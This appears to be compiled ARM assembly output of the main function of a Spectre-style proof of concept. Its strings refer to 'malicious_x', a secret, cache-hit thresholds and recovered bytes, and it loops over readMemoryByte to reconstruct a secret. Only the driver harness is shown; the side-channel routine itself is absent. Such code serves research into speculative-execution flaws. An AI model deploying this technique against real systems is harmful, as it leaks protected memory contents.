	.ascii	"2021-06-21 16:59\000"
	.align	2
.LC2:
	.ascii	"Last updated %s\012\000"
	.align	2
.LC3:
	.ascii	"Putting '%s' in memory\012\000"
	.align	2
.LC4:
	.ascii	"%d\000"
	.align	2
.LC5:
	.ascii	"MAX_TRIES=%d CACHE_HIT_THRESHOLD=%d len=%d\012\000"
	.align	2
.LC6:
	.ascii	"Reading %d bytes:\012\000"
	.align	2
.LC7:
	.ascii	"Reading@malicious_x=%p \000"
	.align	2
.LC8:
	.ascii	"0x%02X='%c' score=%d \000"
	.align	2
.LC9:
	.ascii	"(second best: 0x%02X='%c' score=%d)\000"
	.align	2
.LC10:
	.ascii	"Original secret: %s\012\000"
	.align	2
.LC11:
	.ascii	"Recovered      : %s\012\000"
	.align	2
.LC12:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 56
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #60
	str	r0, [fp, #-64]
	str	r1, [fp, #-68]
	ldr	r3, .L47
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r3, sp
	mov	r4, r3
	ldr	r1, .L47+4
	ldr	r0, .L47+8
	bl	printf
	ldr	r3, .L47+12
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L47+16
	bl	printf
	ldr	r3, .L47+12
	ldr	r3, [r3]
	ldr	r2, .L47+20
	sub	r3, r3, r2
	str	r3, [fp, #-44]
	ldr	r3, .L47+12
	ldr	r3, [r3]
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	str	r3, [fp, #-56]
	ldr	r3, [fp, #-56]
	add	ip, r3, #1
	sub	r3, ip, #1
	str	r3, [fp, #-40]
	mov	r3, ip
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	mov	r3, ip
	mov	r0, r3
	mov	r1, #0
	mov	r2, #0
	mov	r3, #0
	lsl	r3, r1, #3
	orr	r3, r3, r0, lsr #29
	lsl	r2, r0, #3
	mov	r3, ip
	add	r3, r3, #7
	lsr	r3, r3, #3
	lsl	r3, r3, #3
	sub	sp, sp, r3
	mov	r3, sp
	add	r3, r3, #0
	str	r3, [fp, #-36]
	mov	r3, #0
	str	r3, [fp, #-48]
	ldr	r3, [fp, #-56]
	add	r3, r3, #1
	mov	r2, r3
	mov	r1, #0
	ldr	r0, [fp, #-36]
	bl	memset
	ldr	r3, [fp, #-64]
	cmp	r3, #4
	bne	.L29
	ldr	r3, [fp, #-68]
	add	r3, r3, #4
	ldr	r3, [r3]
	ldr	r2, .L47+24
	ldr	r1, .L47+28
	mov	r0, r3
	bl	__isoc99_sscanf
	ldr	r3, [fp, #-68]
	add	r3, r3, #8
	ldr	r3, [r3]
	ldr	r2, .L47+32
	ldr	r1, .L47+28
	mov	r0, r3
	bl	__isoc99_sscanf
	ldr	r3, [fp, #-68]
	add	r3, r3, #12
	ldr	r3, [r3]
	sub	r2, fp, #56
	ldr	r1, .L47+28
	mov	r0, r3
	bl	__isoc99_sscanf
.L29:
	ldr	r3, .L47+24
	ldr	r1, [r3]
	ldr	r3, .L47+32
	ldr	r2, [r3]
	ldr	r3, [fp, #-56]
	ldr	r0, .L47+36
	bl	printf
	mov	r3, #0
	str	r3, [fp, #-52]
	b	.L30
.L31:
	ldr	r2, .L47+40
	ldr	r3, [fp, #-52]
	add	r3, r2, r3
	mov	r2, #1
	strb	r2, [r3]
	ldr	r3, [fp, #-52]
	add	r3, r3, #1
	str	r3, [fp, #-52]
.L30:
	ldr	r3, [fp, #-52]
	cmp	r3, #131072
	bcc	.L31
	ldr	r3, [fp, #-56]
	mov	r1, r3
	ldr	r0, .L47+44
	bl	printf
	b	.L32
.L44:
	ldr	r3, [fp, #-44]
	mov	r1, r3
	ldr	r0, .L47+48
	bl	printf
	ldr	r3, [fp, #-44]
	add	r2, r3, #1
	str	r2, [fp, #-44]
	sub	r2, fp, #32
	sub	r1, fp, #24
	mov	r0, r3
	bl	readMemoryByte
	ldrb	r3, [fp, #-24]	@ zero_extendqisi2
	mov	r1, r3
	ldrb	r3, [fp, #-24]	@ zero_extendqisi2
	cmp	r3, #31
	bls	.L33
	ldrb	r3, [fp, #-24]	@ zero_extendqisi2
	cmp	r3, #126
	bhi	.L33
	ldrb	r3, [fp, #-24]	@ zero_extendqisi2
	mov	r2, r3
	b	.L34
.L33:
	mov	r2, #63
.L34:
	ldr	r3, [fp, #-32]
	ldr	r0, .L47+52
	bl	printf
	ldr	r3, [fp, #-28]
	cmp	r3, #0
	ble	.L35
	ldrb	r3, [fp, #-23]	@ zero_extendqisi2
	mov	r1, r3
	ldrb	r3, [fp, #-23]	@ zero_extendqisi2
	cmp	r3, #31
	bls	.L36
	ldrb	r3, [fp, #-23]	@ zero_extendqisi2
	cmp	r3, #126
	bhi	.L36
	ldrb	r3, [fp, #-23]	@ zero_extendqisi2
	mov	r2, r3
	b	.L37
.L36:
	mov	r2, #63
.L37:
	ldr	r3, [fp, #-28]
	ldr	r0, .L47+56
	bl	printf
.L35:
	ldrb	r3, [fp, #-24]	@ zero_extendqisi2
	cmp	r3, #31
	bls	.L38
	ldrb	r3, [fp, #-24]	@ zero_extendqisi2
	cmp	r3, #126
	bhi	.L38
	ldrb	r3, [fp, #-24]	@ zero_extendqisi2
	b	.L39
.L38:
	mov	r3, #63
.L39:
	strb	r3, [fp, #-20]
	ldrb	r3, [fp, #-23]	@ zero_extendqisi2
	cmp	r3, #31
	bls	.L40
	ldrb	r3, [fp, #-23]	@ zero_extendqisi2
	cmp	r3, #126
	bhi	.L40
	ldrb	r3, [fp, #-23]	@ zero_extendqisi2
	b	.L41
.L40:
	mov	r3, #63
.L41:
	strb	r3, [fp, #-19]
	ldrb	r3, [fp, #-20]	@ zero_extendqisi2
	cmp	r3, #63
	bne	.L42
	ldrb	r3, [fp, #-19]	@ zero_extendqisi2
	cmp	r3, #63
	beq	.L42
	ldrb	r1, [fp, #-19]	@ zero_extendqisi2
	ldr	r2, [fp, #-36]
	ldr	r3, [fp, #-48]
	add	r3, r2, r3
	mov	r2, r1
	strb	r2, [r3]
	b	.L43
.L42:
	ldrb	r1, [fp, #-20]	@ zero_extendqisi2
	ldr	r2, [fp, #-36]
	ldr	r3, [fp, #-48]
	add	r3, r2, r3
	mov	r2, r1
	strb	r2, [r3]
.L43:
	mov	r0, #10
	bl	putchar
	ldr	r3, [fp, #-48]
	add	r3, r3, #1
	str	r3, [fp, #-48]
.L32:
	ldr	r3, [fp, #-56]
	sub	r3, r3, #1
	str	r3, [fp, #-56]
	ldr	r3, [fp, #-56]
	cmp	r3, #0
	bge	.L44
	ldr	r3, .L47+12
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L47+60
	bl	printf
	ldr	r1, [fp, #-36]
	ldr	r0, .L47+64
	bl	printf
	mov	r3, #0
	mov	sp, r4
	ldr	r2, .L47
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L46
	bl	__stack_chk_fail
.L46:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L48:
	.align	2
.L47:
	.word	.LC12
	.word	.LC1
	.word	.LC2
	.word	secret
	.word	.LC3
	.word	array1
	.word	MAX_TRIES
	.word	.LC4
	.word	CACHE_HIT_THRESHOLD
	.word	.LC5
	.word	array2
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.size	main, .-main
	.local	results.4845
	.comm	results.4845,1024,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
